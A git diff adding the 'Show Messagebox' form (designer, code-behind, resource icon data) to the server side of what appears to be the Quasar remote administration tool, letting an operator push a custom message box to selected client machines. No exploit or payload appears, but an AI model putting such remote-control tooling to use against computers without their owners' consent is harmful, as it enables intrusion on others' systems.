/wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs new file mode 100755 index 0000000..c24fe64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs @@ -0,0 +1,192 @@ +namespace Quasar.Server.Forms +{ + partial class FrmShowMessagebox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmShowMessagebox)); + this.groupMsgSettings = new System.Windows.Forms.GroupBox(); + this.cmbMsgIcon = new System.Windows.Forms.ComboBox(); + this.lblMsgIcon = new System.Windows.Forms.Label(); + this.cmbMsgButtons = new System.Windows.Forms.ComboBox(); + this.lblMsgButtons = new System.Windows.Forms.Label(); + this.txtText = new System.Windows.Forms.TextBox(); + this.txtCaption = new System.Windows.Forms.TextBox(); + this.lblText = new System.Windows.Forms.Label(); + this.lblCaption = new System.Windows.Forms.Label(); + this.btnPreview = new System.Windows.Forms.Button(); + this.btnSend = new System.Windows.Forms.Button(); + this.groupMsgSettings.SuspendLayout(); + this.SuspendLayout(); + // + // groupMsgSettings + // + this.groupMsgSettings.Controls.Add(this.cmbMsgIcon); + this.groupMsgSettings.Controls.Add(this.lblMsgIcon); + this.groupMsgSettings.Controls.Add(this.cmbMsgButtons); + this.groupMsgSettings.Controls.Add(this.lblMsgButtons); + this.groupMsgSettings.Controls.Add(this.txtText); + this.groupMsgSettings.Controls.Add(this.txtCaption); + this.groupMsgSettings.Controls.Add(this.lblText); + this.groupMsgSettings.Controls.Add(this.lblCaption); + this.groupMsgSettings.Location = new System.Drawing.Point(12, 12); + this.groupMsgSettings.Name = "groupMsgSettings"; + this.groupMsgSettings.Size = new System.Drawing.Size(325, 146); + this.groupMsgSettings.TabIndex = 0; + this.groupMsgSettings.TabStop = false; + this.groupMsgSettings.Text = "Messagebox Settings"; + // + // cmbMsgIcon + // + this.cmbMsgIcon.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbMsgIcon.FormattingEnabled = true; + this.cmbMsgIcon.Location = new System.Drawing.Point(147, 107); + this.cmbMsgIcon.Name = "cmbMsgIcon"; + this.cmbMsgIcon.Size = new System.Drawing.Size(162, 21); + this.cmbMsgIcon.TabIndex = 8; + // + // lblMsgIcon + // + this.lblMsgIcon.AutoSize = true; + this.lblMsgIcon.Location = new System.Drawing.Point(42, 110); + this.lblMsgIcon.Name = "lblMsgIcon"; + this.lblMsgIcon.Size = new System.Drawing.Size(99, 13); + this.lblMsgIcon.TabIndex = 7; + this.lblMsgIcon.Text = "Messagebox Icon:"; + // + // cmbMsgButtons + // + this.cmbMsgButtons.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbMsgButtons.FormattingEnabled = true; + this.cmbMsgButtons.Location = new System.Drawing.Point(147, 80); + this.cmbMsgButtons.Name = "cmbMsgButtons"; + this.cmbMsgButtons.Size = new System.Drawing.Size(162, 21); + this.cmbMsgButtons.TabIndex = 6; + // + // lblMsgButtons + // + this.lblMsgButtons.AutoSize = true; + this.lblMsgButtons.Location = new System.Drawing.Point(23, 83); + this.lblMsgButtons.Name = "lblMsgButtons"; + this.lblMsgButtons.Size = new System.Drawing.Size(118, 13); + this.lblMsgButtons.TabIndex = 5; + this.lblMsgButtons.Text = "Messagebox Buttons:"; + // + // txtText + // + this.txtText.Location = new System.Drawing.Point(60, 49); + this.txtText.MaxLength = 256; + this.txtText.Name = "txtText"; + this.txtText.Size = new System.Drawing.Size(249, 22); + this.txtText.TabIndex = 4; + this.txtText.Text = "You are running Quasar."; + // + // txtCaption + // + this.txtCaption.Location = new System.Drawing.Point(60, 21); + this.txtCaption.MaxLength = 256; + this.txtCaption.Name = "txtCaption"; + this.txtCaption.Size = new System.Drawing.Size(249, 22); + this.txtCaption.TabIndex = 2; + this.txtCaption.Text = "Information"; + // + // lblText + // + this.lblText.AutoSize = true; + this.lblText.Location = new System.Drawing.Point(24, 52); + this.lblText.Name = "lblText"; + this.lblText.Size = new System.Drawing.Size(30, 13); + this.lblText.TabIndex = 3; + this.lblText.Text = "Text:"; + // + // lblCaption + // + this.lblCaption.AutoSize = true; + this.lblCaption.Location = new System.Drawing.Point(6, 24); + this.lblCaption.Name = "lblCaption"; + this.lblCaption.Size = new System.Drawing.Size(51, 13); + this.lblCaption.TabIndex = 1; + this.lblCaption.Text = "Caption:"; + // + // btnPreview + // + this.btnPreview.Location = new System.Drawing.Point(181, 164); + this.btnPreview.Name = "btnPreview"; + this.btnPreview.Size = new System.Drawing.Size(75, 23); + this.btnPreview.TabIndex = 1; + this.btnPreview.Text = "Preview"; + this.btnPreview.UseVisualStyleBackColor = true; + this.btnPreview.Click += new System.EventHandler(this.btnPreview_Click); + // + // btnSend + // + this.btnSend.Location = new System.Drawing.Point(262, 164); + this.btnSend.Name = "btnSend"; + this.btnSend.Size = new System.Drawing.Size(75, 23); + this.btnSend.TabIndex = 2; + this.btnSend.Text = "Send"; + this.btnSend.UseVisualStyleBackColor = true; + this.btnSend.Click += new System.EventHandler(this.btnSend_Click); + // + // FrmShowMessagebox + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(349, 199); + this.Controls.Add(this.btnSend); + this.Controls.Add(this.btnPreview); + this.Controls.Add(this.groupMsgSettings); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmShowMessagebox"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Show Messagebox []"; + this.Load += new System.EventHandler(this.FrmShowMessagebox_Load); + this.groupMsgSettings.ResumeLayout(false); + this.groupMsgSettings.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupMsgSettings; + private System.Windows.Forms.ComboBox cmbMsgIcon; + private System.Windows.Forms.Label lblMsgIcon; + private System.Windows.Forms.ComboBox cmbMsgButtons; + private System.Windows.Forms.Label lblMsgButtons; + private System.Windows.Forms.TextBox txtText; + private System.Windows.Forms.TextBox txtCaption; + private System.Windows.Forms.Label lblText; + private System.Windows.Forms.Label lblCaption; + private System.Windows.Forms.Button btnPreview; + private System.Windows.Forms.Button btnSend; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.cs new file mode 100755 index 0000000..288cc89 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.cs @@ -0,0 +1,107 @@ +using System; +using System.Windows.Forms; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmShowMessagebox : Form + { + private readonly int _selectedClients; + + public string MsgBoxCaption { get; set; } + public string MsgBoxText { get; set; } + public string MsgBoxButton { get; set; } + public string MsgBoxIcon { get; set; } + + public FrmShowMessagebox(int selected) + { + _selectedClients = selected; + + InitializeComponent(); + } + + private void FrmShowMessagebox_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Show Messagebox", _selectedClients); + + cmbMsgButtons.Items.AddRange(new string[] + {"AbortRetryIgnore", "OK", "OKCancel", "RetryCancel", "YesNo", "YesNoCancel"}); + cmbMsgButtons.SelectedIndex = 0; + cmbMsgIcon.Items.AddRange(new string[] + {"None", "Error", "Hand", "Question", "Exclamation", "Warning", "Information", "Asterisk"}); + cmbMsgIcon.SelectedIndex = 0; + } + + private void btnPreview_Click(object sender, EventArgs e) + { + MessageBox.Show(null, txtText.Text, txtCaption.Text, + (MessageBoxButtons) + Enum.Parse(typeof (MessageBoxButtons), GetMessageBoxButton(cmbMsgButtons.SelectedIndex)), + (MessageBoxIcon) Enum.Parse(typeof (MessageBoxIcon), GetMessageBoxIcon(cmbMsgIcon.SelectedIndex))); + } + + private void btnSend_Click(object sender, EventArgs e) + { + MsgBoxCaption = txtCaption.Text; + MsgBoxText = txtText.Text; + MsgBoxButton = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); + MsgBoxIcon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex); + + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private string GetMessageBoxButton(int selectedIndex) + { + switch (selectedIndex) + { + case 0: + return "AbortRetryIgnore"; + case 1: + return "OK"; + case 2: + return "OKCancel"; + case 3: + return "RetryCancel"; + case 4: + return "YesNo"; + case 5: + return "YesNoCancel"; + default: + return "OK"; + } + } + + private string GetMessageBoxIcon(int selectedIndex) + { + switch (selectedIndex) + { + case 0: + return "None"; + case 1: + return "Error"; + case 2: + return "Hand"; + case 3: + return "Question"; + case 4: + return "Exclamation"; + case 5: + return "Warning"; + case 6: + return "Information"; + case 7: + return "Asterisk"; + default: + return "None"; + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmShowMessagebox.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + 